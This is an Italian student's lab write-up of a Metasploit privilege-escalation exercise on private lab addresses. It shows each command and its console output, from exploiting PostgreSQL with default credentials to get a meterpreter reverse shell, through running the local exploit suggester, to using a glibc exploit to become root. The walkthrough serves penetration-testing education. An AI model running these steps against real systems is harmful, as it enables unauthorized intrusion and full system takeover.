

Escalation di privilegi

L'esercizio di oggi prevede l'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.

Ho aperto il terminale di kali e ho avviato 'msfconsole' e ho cercato l'exploit con il comando 'search exploit/linux/postgres'.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Open an interactive Ruby terminal with irb
```

The screenshot shows a Metasploit console session. At the top, there's a banner for "METASPLOIT CYBER MISSILE COMMAND V5". Below it, a file system tree is displayed with icons for File System, Home, and C:\Program Files\Python Software Foundation\Python.exe. A score display shows "WAVE 5 SCORE 31337 HIGH FFFFFFFF". The URL "https://metasploit.com" is visible. The command prompt shows the version "metasploit v6.4.38-dev" and statistics: "2467 exploits - 1270 auxiliary - 431 post", "1478 payloads - 49 encoders - 13 nops", and "9 evasion". The documentation URL "https://docs.metasploit.com/" is also shown. Finally, the command "search exploit/linux/postgres/" is executed, resulting in a table of matching modules.

```
#####
##### https://metasploit.com #####
#####
command = [ metasploit v6.4.38-dev ]
+ -- ==[ 2467 exploits - 1270 auxiliary - 431 post ]
+ -- ==[ 1478 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search exploit/linux/postgres/

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
1 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
1 \_ target: Linux x86 . . .
```

Ho usato il modulo '0' con il comando 'use 0', con il comando 'options' ho controllato la configurazione e quindi con 'set' ho settato l'RHOST e LHOST.

```
msf6 > use 0
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):



| Name    | Current Setting | Required | Description           |
|---------|-----------------|----------|-----------------------|
| VERBOSE | false           | no       | Enable verbose output |



Used when connecting via an existing SESSION:



| Name    | Current Setting | Required | Description                       |
|---------|-----------------|----------|-----------------------------------|
| SESSION |                 | no       | The session to run this module on |



Used when making a new connection via RHOSTS:



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| DATABASE | postgres        | no       | The database to authenticate against                                                                                                                                                                |
| PASSWORD | postgres        | no       | The password for the specified username. Leave blank for a random password.                                                                                                                         |
| RHOSTS   |                 | no       | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 5432            | no       | The target port                                                                                                                                                                                     |
| USERNAME | postgres        | no       | The username to authenticate as                                                                                                                                                                     |



Payload options (linux/x86/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST |                 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Linux x86 |



View the full module info with the info, or info -d command.

msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.50.20
RHOST => 192.168.50.20
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.50.100
```

Quindi ho fatto partire l'exploit con il comando 'run' ed ero dentro con meterpreter ma con username postgres e quindi ho mandato l'exploit in background con 'bg'.

```
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.20:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/XSMkcfQN.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.50.20
[*] Meterpreter session 3 opened (192.168.50.100:4444 -> 192.168.50.20:37435) at 2024-12-18 09:40:43 -0500

meterpreter > getuid
Server username: postgres
meterpreter > bg
```

```
msf6 exploit(linux/postgres/postgres_payload) > search local_exploit_suggester
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	post/multi/recon/local_exploit_suggester	.	normal	No	Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example `info 0`, use `0` or use `post/multi/recon/local_exploit_suggester`

```
msf6 exploit(linux/postgres/postgres_payload) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options
```

Module options (post/multi/recon/local_exploit_suggester):

Name	Current Setting	Required	Description
SESSION		yes	The session to run this module on
SHOWDESCRIPTION	false	yes	Displays a detailed description for the available exploits

View the full module info with the `info`, or `info -d` command.

```
msf6 post(multi/recon/local_exploit_suggester) > set session 3
session => 3
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):



| Name            | Current Setting | Required | Description                                                |
|-----------------|-----------------|----------|------------------------------------------------------------|
| SESSION         | 3               | yes      | The session to run this module on                          |
| SHOWDESCRIPTION | false           | yes      | Displays a detailed description for the available exploits |



View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.50.20 - Collecting local exploits for x86/linux...
[*] 192.168.50.20 - 198 exploit checks are being tried...
[+] 192.168.50.20 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.50.20 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.50.20 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.50.20 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.50.20 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.50.20 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[+] 192.168.50.20 - Valid modules for session 3:



| #  | Name                                                   | Potentially Vulnerable? | Check Result                                                             |
|----|--------------------------------------------------------|-------------------------|--------------------------------------------------------------------------|
| 1  | exploit/linux/local/glibc_ld_audit_dso_load_priv_esc   | Yes                     | The target appears to be vulnerable.                                     |
| 2  | exploit/linux/local/glibc_origin_expansion_priv_esc    | Yes                     | The target appears to be vulnerable.                                     |
| 3  | exploit/linux/local/netfilter_priv_esc_ipv4            | Yes                     | The target appears to be vulnerable.                                     |
| 4  | exploit/linux/local/ptrace_sudo_token_priv_esc         | Yes                     | The service is running, but could not be validated.                      |
| 5  | exploit/linux/local/su_login                           | Yes                     | The target appears to be vulnerable.                                     |
| 6  | exploit/unix/local/setuid_nmap                         | Yes                     | The target is vulnerable. /usr/bin/nmap is setuid                        |
| 7  | exploit/linux/local/abrt_raceabrt_priv_esc             | No                      | The target is not exploitable.                                           |
| 8  | exploit/linux/local/abrt_sosreport_priv_esc            | No                      | The target is not exploitable.                                           |
| 9  | exploit/linux/local/af_packet_chocobo_root_priv_esc    | No                      | The target is not exploitable. System architecture i686 is not supported |
| 10 | exploit/linux/local/af_packet_packet_set_ring_priv_esc | No                      | The target is not exploitable.                                           |


```

Ho preso il primo exploit e l'ho settato inserendo la sessione, poi grazie al suggerimento del prof, ho notato che il payload era di default a x64 e quindi con il comando 'set' ho modificato in x86. Ho ricontrollato 'options' ed era ben configurato.

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options
Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

  Name          Current Setting  Required  Description
  --          -
  SESSION       3                yes       The session to run this module on
  SUID_EXECUTABLE /bin/ping        yes       Path to a SUID executable

Payload options (linux/x64/meterpreter/reverse_tcp):

  Name    Current Setting  Required  Description
  --    -
  LHOST   192.168.50.100  yes       The listen address (an interface may be specified)
  LPORT   4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options
Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

  Name          Current Setting  Required  Description
  --          -
  SESSION       3                yes       The session to run this module on
  SUID_EXECUTABLE /bin/ping        yes       Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name    Current Setting  Required  Description
  --    -
  LHOST   192.168.50.100  yes       The listen address (an interface may be specified)
  LPORT   4444            yes       The listen port
```

Infine ho lanciato l'exploit con 'run' e una volta dentro con meterpreter con il comando 'getuid' ho controllato e sono diventato root.